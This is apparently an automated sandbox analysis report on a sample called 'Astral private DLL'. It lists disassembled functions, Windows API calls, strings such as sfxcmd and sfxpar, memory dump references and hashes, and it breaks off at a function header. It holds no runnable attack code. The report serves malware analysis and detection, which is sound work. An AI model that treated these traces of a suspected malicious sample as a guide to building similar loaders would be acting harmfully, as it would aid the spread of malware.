Opcode Fuzzy Hash: cca3628dce84ab92fc6c699a712aa7377e121b0a28ba3093c13b52b5bc06138f
Instruction Fuzzy Hash: 69D183B1408384ABDB31DF50C949EDFBBF8BB89704F54491DF1A9A6150C7B09A49CBA3

Function 0017C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0017C744

Part of subcall function 0017B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0017B3FB

_wcslen.LIBCMT ref: 0017CA0A
_wcslen.LIBCMT ref: 0017CA13
SetWindowTextW.USER32(?,?), ref: 0017CA71
_wcslen.LIBCMT ref: 0017CAB3
_wcsrchr.LIBVCRUNTIME ref: 0017CBFB
GetDlgItem.USER32(?,00000066), ref: 0017CC36
SetWindowTextW.USER32(00000000,?), ref: 0017CC46
SendMessageW.USER32(00000000,00000143,00000000,001AA472), ref: 0017CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0017CC7F

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0017CB1A
%s.%d.tmp, xrefs: 0017C940
<br>, xrefs: 0017C9D4
ProgramFilesDir, xrefs: 0017CB45

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: da454de40969174d0e3bf8766960cd435d4640133755425feec186b4154d408d
Instruction ID: 2ac25b774cab26520b54a5565a1579adf25e92c45fbbf0a9a16a8650ca12e82f
Opcode Fuzzy Hash: da454de40969174d0e3bf8766960cd435d4640133755425feec186b4154d408d
Instruction Fuzzy Hash: 39E156B2900119AADF25DBA4DC85DEE77BCAF14350F5481AAF609E7040EB74DF848F61

Function 0016DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0016DA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0016DAAC

Part of subcall function 0016C29A: _wcslen.LIBCMT ref: 0016C2A2

Part of subcall function 001705DA: _wcslen.LIBCMT ref: 001705E0

Part of subcall function 00171B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0016BAE9,00000000,?,?,?,0001043C), ref: 00171BA0

_wcslen.LIBCMT ref: 0016DDE9
__fprintf_l.LIBCMT ref: 0016DF1C

Strings

$%s:, xrefs: 0016DEFF
a, xrefs: 0016DC16
@%s:, xrefs: 0016DF06, 0016DF12
RTL, xrefs: 0016DEDE
R, xrefs: 0016DC0C
,, xrefs: 0016DF57
, xrefs: 0016DD6C
*messages***, xrefs: 0016DBC1
*messages***, xrefs: 0016DBFA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: c5ebc91c4db4285a250973ab65c6ded3e5cbc8aab00917541273a55093ed2f52
Instruction ID: dc7d8018097e30f5b0506a89f490d7a1312e5782074fb5695b7120acbd8896cc
Opcode Fuzzy Hash: c5ebc91c4db4285a250973ab65c6ded3e5cbc8aab00917541273a55093ed2f52
Instruction Fuzzy Hash: EB32F075A00218EBCF24EF68DC41AEA77B5FF19700F44425AF9059B281EBB1DEA5CB50

Function 0017D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0017B579
Part of subcall function 0017B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017B58A
Part of subcall function 0017B568: IsDialogMessageW.USER32(0001043C,?), ref: 0017B59E
Part of subcall function 0017B568: TranslateMessage.USER32(?), ref: 0017B5AC
Part of subcall function 0017B568: DispatchMessageW.USER32(?), ref: 0017B5B6

GetDlgItem.USER32(00000068,001BFCB8), ref: 0017D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0017AF07,00000001,?,?,0017B7B9,0019506C,001BFCB8,001BFCB8,00001000,00000000,00000000), ref: 0017D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0017D51B
SendMessageW.USER32(00000000,000000C2,00000000,001935F4), ref: 0017D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0017D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0017D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0017D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0017D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0017D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0017D5E1
SendMessageW.USER32(00000000,000000C2,00000000,001943F4), ref: 0017D5F0

Strings

\, xrefs: 0017D549

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 3ecfb70ae21c2b66a582bf9a847fa18a77de78196f4cff5465a885f18e21d1d7
Instruction ID: 1075334bde6faad6358390f95a72316bc9003e042f3ca69edba22de7ea8bfba6
Opcode Fuzzy Hash: 3ecfb70ae21c2b66a582bf9a847fa18a77de78196f4cff5465a885f18e21d1d7
Instruction Fuzzy Hash: 3831D172145342AFE301EF20EC4AFAF7FBCEB8A748F008518F5A196591DB64CA548776

Function 0017D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0017D7AE
ShellExecuteExW.SHELL32(?), ref: 0017D8DE
ShowWindow.USER32(?,00000000), ref: 0017D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 0017D959
CloseHandle.KERNEL32(?), ref: 0017D97F
ShowWindow.USER32(?,00000001), ref: 0017D9E1

Strings

.exe, xrefs: 0017D989
.inf, xrefs: 0017D89A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 34500f246f995192240f27e5f6bd822fb1810e2e70059eb931358100687262fc
Instruction ID: 9ccdafe924f4a9c395430f4526ea95293fd6552ac0b6d3414ce6e87714ab6b15
Opcode Fuzzy Hash: 34500f246f995192240f27e5f6bd822fb1810e2e70059eb931358100687262fc
Instruction Fuzzy Hash: 1251F671408388AADB319B24F844BABBBF4AF95748F08841DF6C9971A1D771CAC5CB52

Function 0018A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00185695,00185695,?,?,?,0018ABAC,00000001,00000001,2DE85006), ref: 0018A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0018ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0018AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0018AB35
__freea.LIBCMT ref: 0018AB42

Part of subcall function 00188E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0018CA2C,00000000,?,00186CBE,?,00000008,?,001891E0,?,?,?), ref: 00188E38

__freea.LIBCMT ref: 0018AB4B
__freea.LIBCMT ref: 0018AB70

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 65941118aad9d2584f2aad0a6fcbcdf26243594fe20490d0989c5a8017ba6187
Instruction ID: 4e8f2ab1fb2b27ed0a247b64cdc9b7fd912e25b995fe64f9b2322efd3fd4a180
Opcode Fuzzy Hash: 65941118aad9d2584f2aad0a6fcbcdf26243594fe20490d0989c5a8017ba6187
Instruction Fuzzy Hash: 5051C372600216ABFB29AE64CC81EBFB7AAEF44710F95462AFD04D7140DB34DE50CB91

Function 00183B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00183C35,?,?,001C2088,00000000,?,00183D60,00000004,InitializeCriticalSectionEx,00196394,InitializeCriticalSectionEx,00000000), ref: 00183C03

Strings

api-ms-, xrefs: 00183BC3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 0a7522f86d3880d7a96eef42e3f634efcf5c38e73f3d367abb881a95203706c0
Instruction ID: 2d95fe281bafb2ef106570188be19f72f4f8121eec732412797419ff750f85e3
Opcode Fuzzy Hash: 0a7522f86d3880d7a96eef42e3f634efcf5c38e73f3d367abb881a95203706c0
Instruction Fuzzy Hash: BF11C671A45221ABCB22AB689C41B5977649F01B70F290222F935FB290E771EF408FE1

Function 0017AC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00170836
Part of subcall function 0017081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0016F2D8,Crypt32.dll,00000000,0016F35C,?,?,0016F33E,?,?,?), ref: 00170858

OleInitialize.OLE32(00000000), ref: 0017AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0017AC66
SHGetMalloc.SHELL32(001A8438), ref: 0017AC70

Strings

3Ro, xrefs: 0017AC47
riched20.dll, xrefs: 0017AC1E

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: cb95f3205e21efc43cad6d85868d1c6b1b68b2b08b13c8d7c53e655829e84c70
Instruction ID: 3ae200867798c05da3f0deeae3b3721e180642268b4bfda097092625e09c423c
Opcode Fuzzy Hash: cb95f3205e21efc43cad6d85868d1c6b1b68b2b08b13c8d7c53e655829e84c70
Instruction Fuzzy Hash: F4F01DB5D00209ABCB10AFA9D849DEFFFFCEF95700F00815AE415E2241DBB496458FA1

Function 001698E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00167760,?,00000005,?,00000011), ref: 0016995F
GetLastError.KERNEL32(?,?,00167760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0016996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00167760,?,00000005,?), ref: 001699A2
GetLastError.KERNEL32(?,?,00167760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 001699AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00167760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 001699F9

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 35920f538f76c9486f2e72ce06241b6871b8764e0ef6e366bee9b0400c064773
Instruction ID: 1656eac7f628fa6f0a83fe6abf5079d76831b994b80e8ac395f22a79d92917fe
Opcode Fuzzy Hash: 35920f538f76c9486f2e72ce06241b6871b8764e0ef6e366bee9b0400c064773
Instruction Fuzzy Hash: 38313730544745AFE7309F24CC46BEABBE8BB04328F240B1DF9B1961D0D3B4A9A4CB91

Function 00189869 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,001891AD,0018B188,?,00189813,00000001,00000364,?,00183F73,00000050,?,001A1030,00000200), ref: 0018986E
_free.LIBCMT ref: 001898A3
_free.LIBCMT ref: 001898CA
SetLastError.KERNEL32(00000000,?,001A1030,00000200), ref: 001898D7
SetLastError.KERNEL32(00000000,?,001A1030,00000200), ref: 001898E0

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e902e50beb60d51f1fef20aeaf965fa361d811b612f57dd4a1e2102cd72014a6
Instruction ID: bd476057fff8ec3c362d14f39e2a6770d89183a371157518c6081707fadae9f2
Opcode Fuzzy Hash: e902e50beb60d51f1fef20aeaf965fa361d811b612f57dd4a1e2102cd72014a6
Instruction Fuzzy Hash: D301F43614460A6BD3167764AC8593B256ADFE377072D0136F515A2292FF348F029F62

Function 0017B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0017B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017B58A
IsDialogMessageW.USER32(0001043C,?), ref: 0017B59E
TranslateMessage.USER32(?), ref: 0017B5AC
DispatchMessageW.USER32(?), ref: 0017B5B6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 761a46e2873b664ab79fca934e15d1267db221222289ef7050193bc8eb77ed3e
Instruction ID: a6a94aa47d6c7cea2643e6349e1bfbc5b7cc06b4b7313e69733cdcf358a781aa
Opcode Fuzzy Hash: 761a46e2873b664ab79fca934e15d1267db221222289ef7050193bc8eb77ed3e
Instruction Fuzzy Hash: 33F0DA72A0122AAB8B20ABE6EC4CEDF7FBCEF053917008415B919D2410EB34D655CBB1

Function 0017ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0017ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0017ABF9

Part of subcall function 00171FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0016C116,00000000,.exe,?,?,00000800,?,?,?,00178E3C), ref: 00171FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0017ABE9

Strings

EDIT, xrefs: 0017ABCD, 0017ABD8, 0017ABE5

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 3d7d2b1121fdaa5b57c061996c6e731079de3c9890246647f259fd4c45647e6b
Instruction ID: 52a5b4cae52f01c2547b3c28ef7f1e31b5f7415e25b41695a92d61207d2106b2
Opcode Fuzzy Hash: 3d7d2b1121fdaa5b57c061996c6e731079de3c9890246647f259fd4c45647e6b
Instruction Fuzzy Hash: FDF0823360022877DB2057649C09F9F767CAF86B40F488011BA49B3180D761EE85C5B6

Function 0017DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0017DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0017DC30

Strings

sfxcmd, xrefs: 0017DBEF
sfxpar, xrefs: 0017DC2B

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: a511144568233cc166beaed232023a157fd3ee55ac71780e3005c136e664d46e
Instruction ID: 4a2b084e47e8b3a3c110dee1e5305fd2e5d346e46c64035e5f3d8c33080aa999
Opcode Fuzzy Hash: a511144568233cc166beaed232023a157fd3ee55ac71780e3005c136e664d46e
Instruction Fuzzy Hash: 7EF0ECB2404328ABDF221F949C06BFA3BB8AF18B85B044465BD8DA5161E7B08980D7B0

Function 00169785 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00169795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 001697AD
GetLastError.KERNEL32 ref: 001697DF
GetLastError.KERNEL32 ref: 001697FE

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: b831d70e701f794b3a5c597a59ff35f77d5937df2a85a866a48dcb54ab64ed9e
Instruction ID: d6381bb91f6f1ad6bffc93cfc358be43c02d03be556fa4df523f5baed51ca52e
Opcode Fuzzy Hash: b831d70e701f794b3a5c597a59ff35f77d5937df2a85a866a48dcb54ab64ed9e
Instruction Fuzzy Hash: DF11C431910208EBDF205F64CC04A7977ADFB52765F10892AF426C7590D774DEA4DF61

Function 0018AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00183F73,00000000,00000000,?,0018ACDB,00183F73,00000000,00000000,00000000,?,0018AED8,00000006,FlsSetValue), ref: 0018AD66
GetLastError.KERNEL32(?,0018ACDB,00183F73,00000000,00000000,00000000,?,0018AED8,00000006,FlsSetValue,00197970,FlsSetValue,00000000,00000364,?,001898B7), ref: 0018AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0018ACDB,00183F73,00000000,00000000,00000000,?,0018AED8,00000006,FlsSetValue,00197970,FlsSetValue,00000000), ref: 0018AD80

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 2c140f2e2027b8f9a0ec4a3c5568943866dd6f1099df7f38700a50b7a1e9f5b5
Instruction ID: f4dd05bd2ed7599de1695aff58d9466c766001db245549d4e468ce8e11ff472c
Opcode Fuzzy Hash: 2c140f2e2027b8f9a0ec4a3c5568943866dd6f1099df7f38700a50b7a1e9f5b5
Instruction Fuzzy Hash: FD014736201222ABD7215BA89C44A577B98EF007A27550722F916D3950C720DE41CFE1

Function 00169F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

